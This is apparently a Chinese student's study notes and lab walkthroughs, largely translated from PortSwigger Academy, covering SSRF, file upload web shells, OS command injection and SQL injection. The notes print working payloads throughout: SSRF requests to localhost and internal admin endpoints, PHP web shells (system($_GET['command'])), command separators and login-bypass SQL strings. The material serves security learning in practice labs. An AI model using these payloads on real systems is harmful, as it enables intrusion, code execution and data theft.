服务器端的漏洞(相关学习)
-
什么是 SSRF?
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
在典型的 SSRF 攻击中,攻击者可能会使服务器连接到组织基础结构中的仅限内部的服务。在其他情况下,它们可能能够强制服务器连接到任意外部系统。这可能会泄露敏感数据,例如授权凭据。
针对服务器的 SSRF 攻击
在针对服务器的 SSRF 攻击中,攻击者使应用程序通过其环回网络接口向托管应用程序的服务器发出 HTTP 请求。这通常涉及提供具有主机名的 URL,例如(指向环回适配器的保留 IP 地址)或(同一适配器的常用名称)。
127.0.0.1 localhost
例如,假设一个购物应用程序允许用户查看特定商店中是否有商品库存。若要提供股票信息,应用程序必须查询各种后端 REST API。它通过前端 HTTP 请求将 URL 传递到相关的后端 API 终结点来实现此目的。当用户查看物料的库存状态时,其浏览器会发出以下请求:
POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
这会导致服务器向指定的 URL 发出请求,检索库存状态,并将其返回给用户。
在此示例中,攻击者可以修改请求以指定服务器本地的 URL:
POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin
服务器获取 URL 的内容并将其返回给用户。/admin
攻击者可以访问该 URL,但管理功能通常只有经过身份验证的用户才能访问。这意味着攻击者不会看到任何感兴趣的内容。但是,如果对 URL 的请求来自本地计算机,则会绕过正常的访问控制。应用程序授予对管理功能的完全访问权限,因为请求似乎来自受信任的位置。/admin/admin
为什么应用程序以这种方式运行,并且隐式信任来自本地计算机的请求?这可能是由于各种原因造成的:
- 访问控制检查可以在位于应用程序服务器前面的其他组件中实现。当与服务器建立连接时,将绕过检查。
- 出于灾难恢复目的,应用程序可能允许对来自本地计算机的任何用户进行管理访问,而无需登录。这为管理员提供了一种在丢失凭据时恢复系统的方法。这假定只有完全受信任的用户才会直接来自服务器。
- 管理接口可能会侦听主应用程序的不同端口号,并且用户可能无法直接访问。
这种信任关系,其中来自本地计算机的请求的处理方式与普通请求不同,通常会使 SSRF 成为严重漏洞。
针对其他后端系统的 SSRF 攻击
在某些情况下,应用程序服务器能够与用户无法直接访问的后端系统进行交互。这些系统通常具有不可路由的专用 IP 地址。后端系统通常受网络拓扑保护,因此它们通常具有较弱的安全态势。在许多情况下,内部后端系统包含敏感功能,任何能够与系统交互的人都可以在不进行身份验证的情况下访问这些功能。
在前面的示例中,假设后端 URL 上有一个管理界面。攻击者可以提交以下请求来利用 SSRF 漏洞,并访问管理界面:
https://192.168.0.68/admin
POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/admin
-
该实验室具有库存检查功能,可从内部系统获取数据。
要解决实验室问题,请更改库存检查 URL 以访问管理界面并删除用户。
http://localhost/admincarlos
浏览并观察您无法直接访问管理页面。/admin
访问产品,单击“检查库存”,在 Burp Suite 中拦截请求,并将其发送到 Burp Repeater。
将参数中的 URL 更改为 。这应该显示管理界面。stockApihttp://localhost/admin
阅读 HTML 以标识要删除目标用户的 URL,即:
http://localhost/admin/delete?username=carlos
在参数中提交此 URL,以传递 SSRF 攻击。stockApi
实验步骤
首先我们打开网址,随便点一个产品点数量。
随后我们查看bp里的http历史记录,找到POST的请求消息
如图所示,这个就是整体报文和请求消息,这里暴露了socket API接口,我们可以进行SSRF入侵
我们将这段报文发给重发器,然后修改socket API接口,换为http://localhost/admin,这样我们就成功收到了系统管理员的响应报文
阅读响应报文,找到了对应的删除carlos的路径
修改socket API,换为删除carlos的路径
-
该实验室具有库存检查功能,可从内部系统获取数据。
要解决实验室问题,请使用库存检查功能扫描内部范围以查找端口 8080 上的管理界面,然后使用它删除用户。192.168.0.Xcarlos
- 1.访问一个产品,点击“检查库存”,在 Burp Suite 中拦截请求,并将其发送给 Burp Intruder。
- 2.单击“清除§”,更改参数以然后突出显示IP地址的最后一个八位字节(数字),单击“添加§”。
stockApihttp://192.168.0.1:8080/admin1
- 3.切换到“有效负载”选项卡,将有效负载类型更改为“数字”,然后分别在“从”和“到”和“步骤”框中输入 1、255 和 1。
- 4.点击“开始攻击”。
- 5.单击“状态”列,按状态代码升序排序。您应该会看到一个状态为 200 的条目,显示管理界面。
- 6.单击此请求,将其发送到 Burp Repeater,然后将路径更改为:stockApi/admin/delete?username=carlos
实验步骤
首先打开网页,选一个商品检查库存
找到post请求端口,修改API,发送,发现说了一句missing parameter,修改ip地址的最后一位
发送到Intruder,对 IP 地址的最后一位“添加有效载荷 §”,type 选择 Number,From 1 To 255 Step 1,然后 Start attack。
按状态码排序,可以看到有一个特殊,查看回应报文
通过回应报文找到删除的API
http://192.168.0.138:8080/admin/delete?username=carlos
利用重发器修改API试验结束
-
什么是文件上传漏洞?
文件上传漏洞是指 Web 服务器允许用户将文件上传到其文件系统,而无需充分验证其名称、类型、内容或大小等内容。如果不能正确执行这些限制,可能意味着即使是基本的图像上传功能也可以用于上传任意且具有潜在危险的文件。这甚至可能包括支持远程代码执行的服务器端脚本文件。
在某些情况下,上传文件的行为本身就足以造成损害。其他攻击可能涉及对文件的后续 HTTP 请求,通常是为了触发服务器执行该文件。
文件上传漏洞是如何产生的?
鉴于相当明显的危险,现实网站很少对允许用户上传的文件没有任何限制。更常见的是,开发人员实现了他们认为是稳健的验证,这些验证要么存在固有的缺陷,要么很容易被绕过。
例如,他们可能会尝试将危险的文件类型列入黑名单,但在检查文件扩展名时未能考虑解析差异。与任何黑名单一样,也很容易意外遗漏可能仍然危险的更小众的文件类型。
在其他情况下,网站可能会尝试通过验证,攻击者可以使用 Burp Proxy 或 Repeater 等工具轻松操纵的属性来检查文件类型。
最终,即使是强大的验证措施也可能在构成网站的主机和目录网络中不一致地应用,从而导致可以利用的差异。
利用不受限制的文件上传来部署 Web Shell
从安全角度来看,最糟糕的情况是网站允许您上传服务器端脚本,例如 PHP、Java 或 Python 文件,并且还配置为以代码形式执行它们。这使得在服务器上创建自己的 Web Shell 变得微不足道。
Web 外壳 Web Shell 是一种恶意脚本(其实就是木马),攻击者只需向正确的端点发送 HTTP 请求,即可在远程 Web 服务器上执行任意命令。
如果您能够成功上传 Web Shell,则可以有效地完全控制服务器。这意味着您可以读取和写入任意文件、泄露敏感数据,甚至使用服务器对内部基础设施和网络外部的其他服务器进行攻击。例如,以下 PHP 单行代码可用于从服务器的文件系统中读取任意文件:
<?php echo file_get_contents('/path/to/target/file'); ?>
上传后,发送此恶意文件的请求将在响应中返回目标文件的内容。
一个更通用的 Web shell 可能看起来像这样:
<?php echo system($_GET['command']); ?>
此脚本允许您通过查询参数传递任意系统命令,如下所示:
GET /example/exploit.php?command=id HTTP/1.1
利用有缺陷的文件上传验证
在外网,您不太可能找到一个没有像我们在实验室中看到的那样无法抵御文件上传攻击的网站。但是,仅仅因为防御措施到位,并不意味着它们是强大的。有时仍可利用这些机制中的缺陷获取用于远程代码执行的 Web Shell。
有缺陷的文件类型验证
提交 HTML 表单时,浏览器通常会在请求中发送提供的数据,内容类型为 。这对于发送简单的文本(如您的姓名或地址)很好。但是,它不适合发送大量二进制数据,例如整个图像文件或 PDF 文档。在这种情况下,首选内容类型。
POST application/x-www-form-url-encodedmultipart/form-data
考虑一个表单,其中包含用于上传图像、提供图像描述和输入用户名的字段。提交此类表单可能会导致请求如下所示:
POST /images HTTP/1.1 Host: normal-website.com Content-Length: 12345 Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456 ---------------------------012345678901234567890123456 Content-Disposition: form-data; name="image"; filename="example.jpg" Content-Type: image/jpeg [...binary content of example.jpg...] ---------------------------012345678901234567890123456 Content-Disposition: form-data; name="description" This is an interesting description of my image. ---------------------------012345678901234567890123456 Content-Disposition: form-data; name="username" wiener ---------------------------012345678901234567890123456--
如您所见,对于每个表单的输入,消息正文被拆分为单独的部分。每个部件都包含一个标头,该标头提供有关其相关输入字段的一些基本信息。这些单独的部分还可能包含它们自己的标头,该标头告诉服务器使用此输入提交的数据的 MIME 类型。
Content-DispositionContent-Type
网站可能尝试验证文件上传的一种方法是检查此特定于输入的标头是否与预期的 MIME 类型匹配。例如,如果服务器只需要图像文件,那么它可能只允许像 和 这样的类型。当服务器隐式信任此标头的值时,可能会出现问题。如果没有执行进一步的验证来检查文件的内容是否确实与假定的 MIME 类型匹配,则可以使用 Burp Repeater 等工具轻松绕过此防御。
Content-Typeimage/jpegimage/png
-
该实验室包含易受攻击的图像上传功能。在将用户上传的文件存储到服务器的文件系统之前,它不会对它们执行任何验证。
要解决实验室问题,请上传一个基本的 PHP Web Shell 并使用它来泄露文件的内容。使用实验室横幅中提供的按钮提交此机密。/home/carlos/secret
您可以使用以下凭据登录自己的帐户:wiener:peter
- 1.通过 Burp 代理流量时,请登录您的帐户并注意上传头像图像的选项。
-
- 上传任意图片,然后返回您的帐户页面。请注意,您的头像预览现在显示在页面上。
- 3.在 Burp 中,转到 HTTP 历史记录>代理。单击筛选器栏以打开 HTTP 历史记录筛选器窗口。在“按 MIME 类型筛选”下,启用“图像”复选框,然后应用更改。
- 4.在代理历史记录中,请注意,您的图像是使用对 的请求获取的。将此请求发送到 Burp Repeater。
GET/files/avatars/<YOUR-IMAGE>
- 5.在您的系统上,创建一个名为 的文件,其中包含用于获取 Carlos 秘密文件内容的脚本。例如:exploit.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
- 6.使用头像上传功能上传您的恶意PHP文件。响应中的消息确认已成功上传。
- 7.在 Burp Repeater 中,将请求的路径更改为指向您的 PHP 文件:
GET /files/avatars/exploit.php HTTP/1.1
- 8.发送请求。请注意,服务器已执行您的脚本,并在响应中返回其输出(Carlos 的秘密)。
- 9.提交解决实验室的密钥。
实验步骤
首先我们随意上传一个文件
随后打开http历史记录按照MIME过滤勾选图片
然后发现历史记录有这么一条信息,URL请求的是刚刚上传的软件,然后发给重放器
然后新创一个exploit.php文档,内容填写<?php echo file_get_contents('/home/carlos/secret'); ?>
PHP基本格式如图所示
然后里面填写获取文件的地址
然后上传我们的php文档
然后修改重发器里面的请求报文,将原来的第一行修改为:GET /files/avatars/exploit.php HTTP/1.1,发送请求,观察页面返回的密码。
然后我们将密码提交,实验完成!
-
实验室:通过绕过内容类型限制上传 Web Shell
该实验室包含易受攻击的图像上传功能。它试图阻止用户上传意外的文件类型,但依靠检查用户可控的输入来验证这一点。
要解决实验室问题,请上传一个基本的 PHP Web Shell 并使用它来泄露文件的内容。使用实验室横幅中提供的按钮提交此机密。/home/carlos/secret
您可以使用以下凭据登录自己的帐户:wiener:peter
- 登录并上传图像作为您的头像,然后返回您的帐户页面。
- 在 Burp 中,转到 HTTP 历史记录>代理,并注意到您的图像是使用对 的请求获取的。将此请求发送到 Burp Repeater。GET/files/avatars/<YOUR-IMAGE>
- 在您的系统上,创建一个名为 的文件,其中包含用于获取 Carlos 秘密内容的脚本。例如:exploit.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
- 尝试将此脚本上传为您的头像。响应指示您只能上传 MIME 类型或 .image/jpegimage/png
- 在 Burp 中,返回代理历史记录并找到用于提交文件上传的请求。将此发送到 Burp Repeater。POST /my-account/avatar
- 在 Burp Repeater 中,转到包含请求的选项卡。在与文件相关的邮件正文部分中,将指定的更改为 。
POST /my-account/avatarContent-Typeimage/jpeg
- 发送请求。请注意,响应是否指示您的文件已成功上传。
- 切换到包含请求的另一个 Repeater 选项卡。在路径中,将图像文件的名称替换为并发送请求。请注意,卡洛斯的秘密在响应中被返回。
GET /files/avatars/<YOUR-IMAGE>exploit.php
- 提交解决实验室的密钥。
实验流程
首先尝试上传php文档发现不行,只能接受img类型或者png类型
随后打开bp的拦截,上传img,看上传的类型,如下图方框所示
然后重新上传php文档,修改上传类型,如下图方框所示
成功上传php文档
随后和上次实验一样请求密码即可
-
什么是操作系统命令注入?
OS 命令注入也称为 shell 注入。它允许攻击者在运行应用程序的服务器上执行操作系统 (OS) 命令,并且通常会完全破坏应用程序及其数据。通常,攻击者可以利用操作系统命令注入漏洞来破坏托管基础结构的其他部分,并利用信任关系将攻击转移到组织内的其他系统。
有用的命令
识别操作系统命令注入漏洞后,执行一些初始命令以获取有关系统的信息非常有用。以下是一些在 Linux 和 Windows 平台上有用的命令的摘要:
注入操作系统命令
在此示例中,购物应用程序允许用户查看特定商店中的商品是否有库存。此信息可通过 URL 访问:
https://insecure-website.com/stockStatus?productID=381&storeID=29
若要提供股票信息,应用程序必须查询各种旧系统。由于历史原因,该功能是通过调用带有产品和商店 ID 作为参数的 shell 命令来实现的:
stockreport.pl 381 29
此命令输出指定物料的库存状态,该状态将返回给用户。
该应用程序不实施任何针对 OS 命令注入的防御措施,因此攻击者可以提交以下输入来执行任意命令:
& echo aiwefwlguh &
如果在参数中提交此输入,则应用程序执行的命令为:productID
stockreport.pl & echo aiwefwlguh & 29
该命令使提供的字符串在输出中回显。这是测试某些类型的操作系统命令注入的有用方法。该字符是 shell 命令分隔符。在此示例中,它会导致三个单独的命令一个接一个地执行。返回给用户的输出为:echo&
Error - productID was not provided aiwefwlguh 29: command not found
三行输出表明:
- 执行原始命令时没有预期的参数,因此返回错误消息。stockreport.pl
- 已执行注入的命令,并在输出中回显提供的字符串。echo
- 原始参数是作为命令执行的,这会导致错误。29
将附加命令分隔符放在注入的命令之后很有用,因为它将注入的命令与注入点后面的任何命令分开。这样可以减少以下操作阻止执行注入的命令的可能性。&
-
什么是 SQL 注入 (SQLi)?
SQL 注入 (SQLi) 是一种 Web 安全漏洞,允许攻击者干扰应用程序对其数据库进行的查询。这可能允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或应用程序可以访问的任何其他数据。在许多情况下,攻击者可以修改或删除此数据,从而导致应用程序的内容或行为持续更改。
在某些情况下,攻击者可以升级 SQL 注入攻击,以破坏底层服务器或其他后端基础结构。它还可以使他们执行拒绝服务攻击。
如何检测 SQL 注入漏洞
您可以使用一组针对应用程序中每个入口点的系统测试来手动检测 SQL 注入。为此,您通常会提交:
- 单引号字符,并查找错误或其他异常。'
- 一些特定于 SQL 的语法,这些语法的计算结果为入口点的基本(原始)值和其他值,并查找应用程序响应中的系统差异。
- 布尔条件(如 和 ),并查找应用程序响应中的差异。OR 1=1OR 1=2
- 有效负载旨在在 SQL 查询中执行时触发时间延迟,并查找响应时间的差异。
- OAST 有效负载旨在在 SQL 查询中执行时触发带外网络交互,并监视任何生成的交互。
或者,您可以使用 Burp Scanner 快速可靠地找到大多数 SQL 注入漏洞。
检索隐藏数据
想象一下,一个显示不同类别产品的购物应用程序。当用户单击“礼品”类别时,其浏览器会请求以下网址:
https://insecure-website.com/products?category=Gifts
这会导致应用程序进行 SQL 查询,以从数据库中检索相关产品的详细信息:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
此 SQL 查询要求数据库返回:
- 所有细节 (*)
- 从表格中products
- 其中 是categoryGifts
- 并且是 .released1
该限制用于隐藏未发布的产品released = 1。我们可以假设对于未发布的产品released = 0
该应用程序不会实现任何针对 SQL 注入攻击的防御措施。这意味着攻击者可以构造以下攻击,例如:
https://insecure-website.com/products?category=Gifts'--
这会导致 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
至关重要的是,请注意,这是 SQL 中的注释指示器。这意味着查询的其余部分被解释为注释,从而有效地将其删除。在此示例中,这意味着查询不再包含 。因此,将显示所有产品,包括尚未发布的产品。
--AND released = 1
您可以使用类似的攻击使应用程序显示任何类别中的所有产品,包括他们不知道的类别:
https://insecure-website.com/products?category=Gifts'+OR+1=1--
这会导致 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
修改后的查询返回 为 或 等于 的所有项目。与往常一样,查询返回所有项。
categoryGifts111=1
警告 将条件注入 SQL 查询时要小心。即使它在你注入的上下文中看起来是无害的,应用程序在多个不同的查询中使用来自单个请求的数据也是很常见的。例如,如果您的条件达到 or 语句,则可能会导致意外丢失数据。OR 1=1UPDATEDELETE
颠覆应用逻辑
想象一下,一个应用程序允许用户使用用户名和密码登录。如果用户提交了用户名和密码,则应用程序通过执行以下 SQL 查询来检查凭据:wienerbluecheese
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
如果查询返回用户的详细信息,则登录成功。否则,它将被拒绝。
在这种情况下,攻击者可以以任何用户身份登录,而无需密码。他们可以使用 SQL 注释序列从查询子句中删除密码检查来执行此操作。例如,提交用户名和空白密码将导致以下查询:--WHEREadministrator'--
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
此查询返回其所在用户,并成功将攻击者登录为该用户。usernameadministrator
-
实验室:WHERE 子句中允许检索隐藏数据的 SQL 注入漏洞
本实验在产品类别筛选器中包含一个 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示一个或多个未发布的产品。
- 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
- 修改参数,为其赋值category'+OR+1=1--
- 提交请求,并验证响应现在是否包含一个或多个未发布的产品。
实验步骤
URL 中输入单引号,查看是否存在漏洞,服务器返回一个错误,借以得知容易受到 SQL 注入攻击
URL 中输入'+OR+1=1-- (查询字符串中空格被编码成+号)
数据库执行的 SQL 查询则为
SELECT * FROM products WHERE category = ''or 1=1-- ' AND released = 1
通过'来闭合参数,-- 来注释后半部分
-
实验室:允许绕过登录的 SQL 注入漏洞
本实验在登录函数中包含一个 SQL 注入漏洞。
若要解决实验室问题,请执行以用户身份登录应用程序的 SQL 注入攻击。administrator
- 使用 Burp Suite 拦截和修改登录请求。
- 修改参数,为其赋值:usernameadministrator'--
实验步骤
目的为以管理员用户登录应用程序
尝试账号密码为admin。网页显示,Invalid username or password,无效的用户名或密码,故此不知道是用户名还是密码错误。
从实验室说明中查的用户名为administrator
在Username中输入any' or 1=1 -- ,密码随便写毕竟会被注释掉
用any'来闭合参数,or一个为真即可通过,-- 是 sql 的注释语法注释掉后面的密码
在Username中输入administrator'-- ,密码随便写毕竟会被注释掉
浏览器连上代理,在登录页面用 bp 抓包,修改其参数